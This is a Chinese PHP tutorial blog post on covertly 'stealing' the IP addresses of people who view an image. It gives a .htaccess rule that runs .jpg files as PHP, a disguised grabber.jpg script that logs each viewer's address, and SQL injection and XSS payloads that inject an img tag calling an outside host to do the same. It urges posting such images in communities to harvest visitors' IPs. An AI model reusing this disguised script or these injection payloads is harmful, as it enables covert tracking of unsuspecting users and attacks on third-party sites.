基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
PHP4引用文件语句的对比
Oct 09 PHP
一个高ai的分页函数和一个url函数
Oct 09 PHP
php利用cookie实现访问次数统计代码
May 19 PHP
php重定向的三种方法分享
Feb 22 PHP
php实现多张图片上传加水印技巧
Apr 18 PHP
用Json实现PHP与JavaScript间数据交换的方法详解
Jun 20 PHP
php中如何防止表单的重复提交
Aug 02 PHP
php自动识别文件编码并转换为UTF-8的方法
Jun 12 PHP
php定界符
Jun 19 PHP
php生成Android客户端扫描可登录的二维码
May 13 PHP
laravel添加前台跳转成功页面示例
Oct 22 PHP
php实现简单四则运算器
Nov 29 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
PHP小教程之实现链表
2014/06/09 PHP
Zend Framework教程之Zend_Db_Table_Row用法实例分析
2016/03/21 PHP
jQuery.Validate验证库的使用介绍
2013/04/26 Javascript
javascript的解析执行顺序在各个浏览器中的不同
2014/03/17 Javascript
jQuery对于显示和隐藏等常用状态的判断方法
2014/12/13 Javascript
JavaScript严格模式详解
2015/11/18 Javascript
关于JavaScript 原型链的一点个人理解
2016/07/31 Javascript
解决Window10系统下Node安装报错的问题分析
2016/12/13 Javascript
HTML5+Canvas调用手机拍照功能实现图片上传(上)
2017/04/21 Javascript
Node.js 的模块知识汇总
2017/08/16 Javascript
JavaScript 点击触发复制功能实例详解
2018/11/02 Javascript
解决layer弹出层msg的文字不显示的问题
2019/09/11 Javascript
layui实现根据table数据判断按钮显示情况的方法
2019/09/26 Javascript
layui.tree组件的使用以及搜索节点功能的实现
2019/09/26 Javascript
vue-resource:jsonp请求百度搜索的接口示例
2019/11/09 Javascript
node.js中process进程的概念和child_process子进程模块的使用方法示例
2020/02/11 Javascript
JS如何定义用字符串拼接的变量
2020/07/11 Javascript
JS实现公告上线滚动效果
2021/01/10 Javascript
[01:03:09]完美世界DOTA2联赛PWL S2 Forest vs SZ 第二场 11.25
2020/11/26 DOTA
python生成指定尺寸缩略图的示例
2014/05/07 Python
python插入排序算法实例分析
2015/07/03 Python
浅析python中numpy包中的argsort函数的使用
2018/08/30 Python
Python wxPython库消息对话框MessageDialog用法示例
2018/09/03 Python
Python删除n行后的其他行方法
2019/01/28 Python
Python 限制线程的最大数量的方法(Semaphore)
2019/02/22 Python
Python读写文件基础知识点
2019/06/10 Python
浅谈Python中的异常和JSON读写数据的实现
2020/02/27 Python
使用SimpleITK读取和保存NIfTI/DICOM文件实例
2020/07/01 Python
Django model重写save方法及update踩坑详解
2020/07/27 Python
Hanky Panky官方网站:内衣和睡衣
2019/07/25 全球购物
集体婚礼证婚词
2014/01/13 职场文书
英语专业毕业生求职信
2014/05/24 职场文书
村官个人总结范文
2015/03/03 职场文书
解决jupyter notebook启动后没有token的坑
2021/04/24 Python
Django+Nginx+uWSGI 定时任务的实现方法
2022/01/22 Python
美国运营商 T-Mobile 以 117.83Mb/s 的速度排第一位
2022/04/21 数码科技